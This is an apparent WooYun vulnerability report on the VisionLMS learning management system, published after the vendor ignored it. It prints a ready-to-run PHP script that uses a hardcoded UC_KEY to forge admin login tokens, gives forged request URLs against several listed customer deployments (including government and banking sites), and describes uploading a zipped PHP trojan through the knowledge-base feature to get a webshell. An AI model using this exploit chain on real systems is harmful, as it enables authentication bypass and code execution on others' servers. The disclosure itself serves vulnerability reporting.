当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168072

漏洞标题:VisionLMS学习管理系统漏洞可Getshell

相关厂商:VisionLMS

漏洞作者: 艺术家

提交时间:2016-01-13 17:42

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-02-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

8年研发历程, 2500家使用客户, 遍布零售、制造、能源、政府、教育等8大行业, 15个城市

详细说明:

其知名用户有:

1.jpg


因为这种平台基本都放在内网里面,可以影响内网安全
http://**.**.**.** (官网)
-----
如果发现不能重现,请再次用代码生成。不能就多试几次。
案例1(官网演示):
http://**.**.**.**/lms/api/uc.php?code=e5f50oMXJKnK1VqWbHMVpdzcY3dERHtRqPVP3dj23hmU%2BjPEZ9MKjgyfw5c7FcfXKkw9RhpY4oNep6eNmTmC3RPP4THNbT7IbkVOOIqQekI
http://**.**.**.**/lms/index.php

0.jpg


00.jpg


案例2:
http://**.**.**.**/lms/api/uc.php?code=fd3f3Lr9%2FJWuB7q8e2C3dLa7xdOcmTm3ajqatGVQHWCn0QSzYQWvXlGV8INuNJVRXzE%2BxbSqaPjTtdR7V3iXhXpZwFsyWfhPe2800x%2BcT9A
http://**.**.**.**/lms/index.php?s=Home/Home/index

1.jpg


11.jpg


案例3:
http://**.**.**.**/lms/api/uc.php?code=e5f50oMXJKnK1VqWbHMVpdzcY3dERHtRqPVP3dj23hmU%2BjPEZ9MKjgyfw5c7FcfXKkw9RhpY4oNep6eNmTmC3RPP4THNbT7IbkVOOIqQekI
http://**.**.**.**/lms/?c=Home.Home

2.jpg


22.jpg


案例4:
**.**.**.**/lms/api/uc.php?code=e5f50oMXJKnK1VqWbHMVpdzcY3dERHtRqPVP3dj23hmU+jPEZ9MKjgyfw5c7FcfXKkw9RhpY4oNep6eNmTmC3RPP4THNbT7IbkVOOIqQekI
**.**.**.**/?c=Cvicse.Index&m=indexAction

3jpg.jpg


33.jpg


案例5:
http://**.**.**.**:8089/lms/api/uc.php?code=20d2JMOG3tpWjbBtKvt95Uy+1Cl6m8n44XWRySQGFfbMblkO7R16V6sOg971fqL7UovkwWzV7I3DMGAUBFtA65cvranX2aTiimpQqCCTW+E
http://**.**.**.**:8089/

4.jpg


44.jpg


**.**.**.**/lms/ 山东省财政
http://**.**.**.**/lms/ 华东理工
http://**.**.**.**/lms/index.php 浙江交通
http://**.**.**.**/lms/index.php?s=Index/Index/login
**.**.**.**/lms/
-------
http://**.**.**.**//lms/
**.**.**.**/lms/index.php
http://**.**.**.**/lms/index.php 浙江交通
http://**.**.**.**/lms/index.php?s=Index/Index/login
http://**.**.**.**/lms/index.php?s=Index/Index/login
**.**.**.**/lms/index.php 长春市公安局交通警察支队
**.**.**.**/lms/ 山东省财政
http://**.**.**.**/lms/ 华东理工
更多客户有
南航天合培训管理系统

1.jpg


中国建设银行四川省分行

2.jpg


中核集团江苏核电有限公司

3.jpg


利用可以查看:http://**.**.**.**/bugs/wooyun-2016-0168065

漏洞证明:

0x0
/lms/api/uc_config.php
发现UC_KEY值所有程序都是一个固定值。define("UC_KEY", "zlms@**.**.**.**");
既然知道UC_key的固定值。在uc上面基本是可以构建任意用户登陆。
直接看一下authcode函数简单构造下加解密:

<?php
/**
* $string 明文或密文
* $operation 加密ENCODE或解密DECODE
* $key 密钥
* $expiry 密钥有效期
*/
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
// 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
// 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。
// 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方
// 当此值为 0 时,则不产生随机密钥
$ckey_length = 4;

// 密匙
// $GLOBALS['discuz_auth_key'] 这里可以根据自己的需要修改
$key = md5($key ? $key : $GLOBALS['discuz_auth_key']);

// 密匙a会参与加解密
$keya = md5(substr($key, 0, 16));
// 密匙b会用来做数据完整性验证
$keyb = md5(substr($key, 16, 16));
// 密匙c用于变化生成的密文
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
// 参与运算的密匙
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
// 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
// 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
// 产生密匙簿
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
// 从密匙簿得出密匙进行异或,再转成字符
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
// substr($result, 0, 10) == 0 验证数据有效性
// substr($result, 0, 10) - time() > 0 验证数据有效性
// substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
// 验证数据有效性,请看未加密明文的格式
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
// 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
// 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>


$_G['time'] =  time()+10*36000;
$_G['action'] = 'synlogin';
$_G['uid'] = "1";
$_G['username'] = "root";
$code = urlencode(_authcode(http_build_query($_G), 'ENCODE'));
echo 'http://x/lms/api/uc.php?code='.$code;


加入一个数组就行了。
基本有了UC_KEY,所有用生成的key是所有都可以通用的。
这里用官网的demo网站演示:http://**.**.**.**/
http://**.**.**.**//lms/api/uc.php?code=353etSSAKUxHGQOKjxuiSuGJ1wlD1YQuNPHoUcASALEGO45W9ZnoTWMVbQnumVVjJVjPeChxYrMyF/jvlx77s9l+Xp4eDNa9aWEpzMuyrH0
返回值为1

111.jpg


再访问http://**.**.**.**/lms/?c=Admin.Index&m=admin_main

222.jpg


进入后台可以拿shell。
0x01
打开:资源管理->知识管理->新增知识库内容

2.jpg


0x02
到第二步随便填,第三步叫你上传压缩包,
新建一个压缩包 然后新建一个目录,在目录里放入木马文件就可以了。
再到前台首页去查看文章

3.jpg


4.jpg


点击一下就OK了。上传的文件为
**.**.**.**/czt_lms_data/czt_lms_file/storage/attachment/kb/29/n_n.php
其中29不用改,N_N.php为你上传的上马。
如果不能上传是已经把上传权限关闭
案例:
其知名用户有:

1.jpg


验证脚本:

<?php 
$_G['time'] = time()+10*36000;
$_G['action'] = 'synlogin';
$_G['uid'] = "1";
$_G['username'] = "root";
$code = urlencode(_authcode(http_build_query($_G), 'ENCODE'));
echo 'http://**.**.**.**/lms/api/uc.php?code='.$code;
function _authcode($string, $operation = 'DECODE', $key = 'zlms@**.**.**.**', $expiry = 0) {
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
?>


生成访问API请求:

xxxx.jpg


修复方案:

版权声明:转载请注明来源 艺术家@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝